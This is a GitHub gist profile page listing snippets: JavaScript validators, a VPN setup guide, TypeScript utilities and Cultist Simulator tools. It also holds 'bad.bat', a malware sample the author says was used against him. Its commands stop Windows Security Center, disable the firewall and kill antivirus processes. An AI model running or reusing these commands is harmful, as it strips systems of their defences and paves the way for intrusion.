Skip to content

Instantly share code, notes, and snippets.

View Zemnmez's full-sized avatar
💭
oof

Thomas Neil James Shadwell Zemnmez

💭
oof
View GitHub Profile
"use strict";
const errorTester = () => (rsp) => !(rsp instanceof Error);
const asGuardType = (f) => (v) => [f(v), errorTester()];
const must = (f) => (v) => {
const [rsp, tstRsp] = asGuardType(f)(v);
if (!tstRsp(rsp))
throw rsp;
return rsp;
};
const hasLen = (n) => (v) => v.length == n ? v : new Error(`expected length of ${n}, but got ${v.length}`);
@Zemnmez
Zemnmez / bad.bat
Created October 31, 2019 18:06
a grimdark hackerdude tried to hack me w this https://twitter.com/zemnmez/status/1187783064233107457?s=21
@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
@Zemnmez
Zemnmez / how.md
Last active March 7, 2023 10:12
L2TP / ipsec VPN, Amazon Linux (EC2)
# adapted from http://spottedhyena.co.uk/centos-67-ipsecl2tp-vpn-client-unifi-usg-l2tp-server/
yum -y install epel # different on amazon linux
sudo yum -y install xl2tpd openswan
systemctl start ipsec.service
service ipsec start

# 'myserver.com' is just to help identify. these are all imported into /etc/ipsec.conf.

vim /etc/ipsec.d/myserver.com.conf # see next...
@Zemnmez
Zemnmez / hookAll.js
Created November 19, 2019 17:45
attempt to recursively hook iframe postMessages (doesn't work due to browser security policies)
((() => {
console.log("postMessage hook added");
new MutationObserver((mutations, observer) => {
const flatten = (a,c) => a.concat(c);
const allNodes = mutations.filter(({ type }) => type == "childList")
.map(({ addedNodes }) => Array.from(addedNodes)).reduce(flatten, []);
allNodes
.forEach(parentNode => {
if (!parentNode.getElementsByTagName) return;
type Eventually<T> =
T | Promise<T>;
type EventuallyIterable<T> = Iterable<T> | AsyncIterable<T>
const map:
<T,O>(f: Eventually<(v: T, i: number) => O>, v: EventuallyIterable<T>) => EventuallyIterable<O>
=
async function*(f, iter) {
let n = 0;
import * as React from 'react';
import {A, T} from 'ts-toolbelt'
import { O } from 'ts-toolbelt';
import { Any } from 'ts-toolbelt';
import { Assign } from 'Object/_api';
/**
* Fuzzy is a Higher Order Component.
* It consumes a component and keys that
* can be searched on that component.

Choose a car: Volvo Saab Mercedes Audi

@Zemnmez
Zemnmez / ritecalculator.ts
Created June 18, 2020 21:51
calculates what rites are available in the game cultist simulator
/* Rite Calculator */
/* Scroll down to add followers to the follower list!! */
type Principle = Aspect.Forge | Aspect.Heart | Aspect.Winter | Aspect.Edge
| Aspect.Lantern | Aspect.Moth | Aspect.Grail | Aspect.Knock | Aspect.SecretHistories;
enum Kind {
Card, Slot, Recipe
}
@Zemnmez
Zemnmez / cultistparser.ts
Created June 21, 2020 20:16
wip parser for cultist simulator's 'json' format
type runes = string[];
const unexpected = (char: string, ...expected: string[]) =>
new Error(`unexpected "${char}"` + (expected.length?`; expected ${expected.map(v => `"${v}"`).join(" or ")}`: ""))
export const AdaptCultistJson:
(i: string) => string
=
([char, ...chars]) => {